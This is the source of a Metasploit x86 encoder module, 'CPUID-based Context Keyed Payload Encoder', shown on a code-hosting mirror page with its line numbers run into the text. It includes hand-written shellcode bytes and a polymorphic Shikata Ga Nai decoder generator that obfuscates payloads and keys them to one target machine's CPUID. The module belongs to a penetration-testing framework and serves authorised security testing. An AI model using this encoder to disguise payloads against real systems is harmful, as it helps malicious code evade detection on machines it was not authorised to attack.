Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/context_cpuid.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/poly'67class MetasploitModule < Msf::Encoder::XorAdditiveFeedback89# Manual ranking because the cpuid value is generated and supplied10# manually...1112Rank = ManualRanking1314def initialize15super(16'Name' => 'CPUID-based Context Keyed Payload Encoder',17'Description' => %q{18This is a Context-Keyed Payload Encoder based on CPUID and Shikata Ga Nai.19},20'Author' => 'Dimitris Glynos',21'Arch' => ARCH_X86,22'License' => MSF_LICENSE,23'Decoder' =>24{25'KeySize' => 4,26'BlockSize' => 427})2829register_options(30[31OptString.new('CPUID_KEY',32[ true,33"CPUID key from target host (see tools/context/cpuid-key utility)",34"0x00000000"]),35])36end3738def obtain_key(buf, badchars, state)39state.key = datastore['CPUID_KEY'].hex40return state.key41end4243#44# Generates the shikata decoder stub.45#46def decoder_stub(state)47# If the decoder stub has not already been generated for this state, do48# it now. The decoder stub method may be called more than once.49if (state.decoder_stub == nil)50# Shikata will only cut off the last 1-4 bytes of it's own end51# depending on the alignment of the original buffer52cutoff = 4 - (state.buf.length & 3)53block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)5455# Take the last 1-4 bytes of shikata and prepend them to the buffer56# that is going to be encoded to make it align on a 4-byte boundary.57state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf5859# Cache this decoder stub. The reason we cache the decoder stub is60# because we need to ensure that the same stub is returned every time61# for a given encoder state.62state.decoder_stub = block63end6465state.decoder_stub66end6768protected69def keygen_stub70payload =71"\x31\xf6" + # xor %esi,%esi72"\x31\xff" + # xor %edi,%edi73"\x89\xf8" + # cpuid_loop: mov %edi,%eax74"\x31\xc9" + # xor %ecx,%ecx75"\x0f\xa2" + # cpuid76"\x31\xc6" + # xor %eax,%esi77"\x39\xf0" + # cmp %esi,%eax78"\x75\x03" + # jne not_first_time79"\x8d\x78\x01" + # lea 0x1(%eax,1),%edi80"\x31\xde" + # not_first_time: xor %ebx,%esi81"\x31\xce" + # xor %ecx,%esi82"\x31\xd6" + # xor %edx,%esi83"\x83\xef\x01" + # sub $0x1,%edi84"\x75\xe6" + # jne cpuid_loop85"\x89\xf0" # mov %esi,%eax86end8788#89# Returns the set of FPU instructions that can be used for the FPU block of90# the decoder stub.91#92def fpu_instructions93fpus = []94950xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }960xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }970xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }980xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }990xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }100101fpus << "\xd9\xd0"102fpus << "\xd9\xe1"103fpus << "\xd9\xf6"104fpus << "\xd9\xf7"105fpus << "\xd9\xe5"106107# This FPU instruction seems to fail consistently on Linux108#fpus << "\xdb\xe1"109110fpus111end112113#114# Returns a polymorphic decoder stub that is capable of decoding a buffer115# of the supplied length and encodes the last cutoff bytes of itself.116#117def generate_shikata_block(state, length, cutoff)118# Declare logical registers119key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')120count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')121addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')122123# Declare individual blocks124endb = Rex::Poly::SymbolicBlock::End.new125126# FPU blocks127fpu = Rex::Poly::LogicalBlock.new('fpu',128*fpu_instructions)129fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")130131# Get EIP off the stack132popeip = Rex::Poly::LogicalBlock.new('popeip',133Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })134135# Clear the counter register136clear_register = Rex::Poly::LogicalBlock.new('clear_register',137"\x31\xc9",138"\x29\xc9",139"\x33\xc9",140"\x2b\xc9")141142# Initialize the counter after zeroing it143init_counter = Rex::Poly::LogicalBlock.new('init_counter')144145# Divide the length by four but ensure that it aligns on a block size146# boundary (4 byte).147length += 4 + (4 - (length & 3)) & 3148length /= 4149150if (length <= 255)151init_counter.add_perm("\xb1" + [ length ].pack('C'))152else153init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))154end155156# Key initialization block157158# Decoder loop block159loop_block = Rex::Poly::LogicalBlock.new('loop_block')160161xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }162xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }163xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }164add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }165add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }166add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }167sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }168add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }169170loop_block.add_perm(171Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },172Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },173Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },174Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },175Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },176Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })177178# Loop instruction block179loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',180"\xe2\xf5")181182# Define block dependencies183fnstenv.depends_on(fpu)184popeip.depends_on(fnstenv)185init_counter.depends_on(clear_register)186loop_block.depends_on(popeip, init_counter)187loop_inst.depends_on(loop_block)188189# Generate a permutation saving the EAX, ECX and ESP registers190loop_inst.generate([191Rex::Arch::X86::EAX,192Rex::Arch::X86::ESP,193Rex::Arch::X86::ECX ], nil, state.badchars)194end195end196197198